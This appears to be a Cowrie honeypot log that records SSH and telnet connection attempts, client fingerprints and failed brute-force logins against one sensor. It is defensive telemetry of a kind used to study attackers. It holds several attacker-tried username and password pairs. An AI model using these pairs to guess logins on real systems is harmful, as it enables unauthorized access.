{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":55550,"dst_ip":"10.17.0.5","dst_port":22,"session":"23e298dc022f","protocol":"ssh","message":"New connection: 62.133.62.83:55550 (10.17.0.5:22) [session: 23e298dc022f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:26:56.932045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:26:56.937849Z","src_ip":"62.133.62.83","session":"23e298dc022f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:26:57.017229Z","src_ip":"62.133.62.83","session":"23e298dc022f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tbilisi","message":"login attempt [root/tbilisi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:26:57.262057Z","src_ip":"62.133.62.83","session":"23e298dc022f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:26:58.358239Z","src_ip":"62.133.62.83","session":"23e298dc022f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":35028,"dst_ip":"10.17.0.5","dst_port":22,"session":"e799ae086b0f","protocol":"ssh","message":"New connection: 2.57.121.25:35028 (10.17.0.5:22) [session: e799ae086b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:27:02.315024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:27:02.320748Z","src_ip":"2.57.121.25","session":"e799ae086b0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:27:02.425099Z","src_ip":"2.57.121.25","session":"e799ae086b0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11101977","message":"login attempt [user/11101977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:27:02.915930Z","src_ip":"2.57.121.25","session":"e799ae086b0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11101976","message":"login attempt [user/11101976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:27:04.025651Z","src_ip":"2.57.121.25","session":"e799ae086b0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"110986","message":"login attempt [user/110986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:27:05.134955Z","src_ip":"2.57.121.25","session":"e799ae086b0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11081995","message":"login attempt [user/11081995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:27:06.242753Z","src_ip":"2.57.121.25","session":"e799ae086b0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11061977","message":"login attempt [user/11061977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:27:07.349819Z","src_ip":"2.57.121.25","session":"e799ae086b0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:27:08.457928Z","src_ip":"2.57.121.25","session":"e799ae086b0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":40108,"dst_ip":"159.203.135.109","dst_port":22,"session":"91e5b7035c2e","protocol":"ssh","message":"New connection: 103.82.132.16:40108 (159.203.135.109:22) [session: 91e5b7035c2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:27:14.479327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:27:14.484447Z","src_ip":"103.82.132.16","session":"91e5b7035c2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:27:14.743984Z","src_ip":"103.82.132.16","session":"91e5b7035c2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shlyxa13","message":"login attempt [root/shlyxa13] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:27:15.523473Z","src_ip":"103.82.132.16","session":"91e5b7035c2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:27:16.785240Z","src_ip":"103.82.132.16","session":"91e5b7035c2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48264,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8bb64e8d02b","protocol":"telnet","message":"New connection: 135.148.14.151:48264 (159.203.135.109:23) [session: b8bb64e8d02b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:27:17.586124Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":45800,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e936bb7e8f2","protocol":"ssh","message":"New connection: 103.82.20.28:45800 (10.17.0.5:22) [session: 7e936bb7e8f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:27:47.419074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:27:47.423956Z","src_ip":"103.82.20.28","session":"7e936bb7e8f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:27:47.700789Z","src_ip":"103.82.20.28","session":"7e936bb7e8f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"310588","message":"login attempt [root/310588] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:27:48.530336Z","src_ip":"103.82.20.28","session":"7e936bb7e8f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:27:49.810830Z","src_ip":"103.82.20.28","session":"7e936bb7e8f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.99179220199585,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:27:53.577812Z","src_ip":"135.148.14.151","session":"b8bb64e8d02b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":51308,"dst_ip":"10.17.0.5","dst_port":23,"session":"943244f6f7d1","protocol":"telnet","message":"New connection: 180.235.129.180:51308 (10.17.0.5:23) [session: 943244f6f7d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:28:13.760000Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47570,"dst_ip":"159.203.135.109","dst_port":23,"session":"a27fb840d792","protocol":"telnet","message":"New connection: 135.148.14.151:47570 (159.203.135.109:23) [session: a27fb840d792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:28:26.058974Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60812,"dst_ip":"159.203.135.109","dst_port":23,"session":"b39e9ae59dc1","protocol":"telnet","message":"New connection: 135.148.14.151:60812 (159.203.135.109:23) [session: b39e9ae59dc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:28:47.580208Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33902,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9298aba4f4e","protocol":"telnet","message":"New connection: 135.148.14.151:33902 (159.203.135.109:23) [session: f9298aba4f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:28:50.487957Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":57144,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab73cc387fc2","protocol":"ssh","message":"New connection: 147.45.197.250:57144 (159.203.135.109:22) [session: ab73cc387fc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:29:00.312677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:29:00.317717Z","src_ip":"147.45.197.250","session":"ab73cc387fc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:29:00.412371Z","src_ip":"147.45.197.250","session":"ab73cc387fc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"32658c","message":"login attempt [root/32658c] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:29:00.711981Z","src_ip":"147.45.197.250","session":"ab73cc387fc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:29:01.810328Z","src_ip":"147.45.197.250","session":"ab73cc387fc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":44934,"dst_ip":"159.203.135.109","dst_port":22,"session":"1263fadc3f99","protocol":"ssh","message":"New connection: 89.108.118.91:44934 (159.203.135.109:22) [session: 1263fadc3f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:29:02.041102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:29:02.046193Z","src_ip":"89.108.118.91","session":"1263fadc3f99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:29:02.191311Z","src_ip":"89.108.118.91","session":"1263fadc3f99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23121987","message":"login attempt [root/23121987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:29:02.628792Z","src_ip":"89.108.118.91","session":"1263fadc3f99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.67818856239319,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:29:02.737054Z","src_ip":"135.148.14.151","session":"a27fb840d792","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:29:03.766947Z","src_ip":"89.108.118.91","session":"1263fadc3f99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":40580,"dst_ip":"159.203.135.109","dst_port":23,"session":"4741ffe77db7","protocol":"telnet","message":"New connection: 135.148.14.151:40580 (159.203.135.109:23) [session: 4741ffe77db7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:29:04.725540Z"}
{"eventid":"cowrie.session.closed","duration":66.15773129463196,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:29:19.917569Z","src_ip":"180.235.129.180","session":"943244f6f7d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.51877212524414,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:29:24.098857Z","src_ip":"135.148.14.151","session":"b39e9ae59dc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.5068633556366,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:29:24.994701Z","src_ip":"135.148.14.151","session":"f9298aba4f4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.47001934051514,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:29:40.195424Z","src_ip":"135.148.14.151","session":"4741ffe77db7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":55146,"dst_ip":"10.17.0.5","dst_port":22,"session":"df3ce89b4ec5","protocol":"ssh","message":"New connection: 103.27.238.116:55146 (10.17.0.5:22) [session: df3ce89b4ec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:29:48.541579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:29:48.546465Z","src_ip":"103.27.238.116","session":"df3ce89b4ec5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":43672,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ccb84ce408b","protocol":"ssh","message":"New connection: 103.27.238.120:43672 (10.17.0.5:22) [session: 1ccb84ce408b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:29:48.600821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:29:48.604903Z","src_ip":"103.27.238.120","session":"1ccb84ce408b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-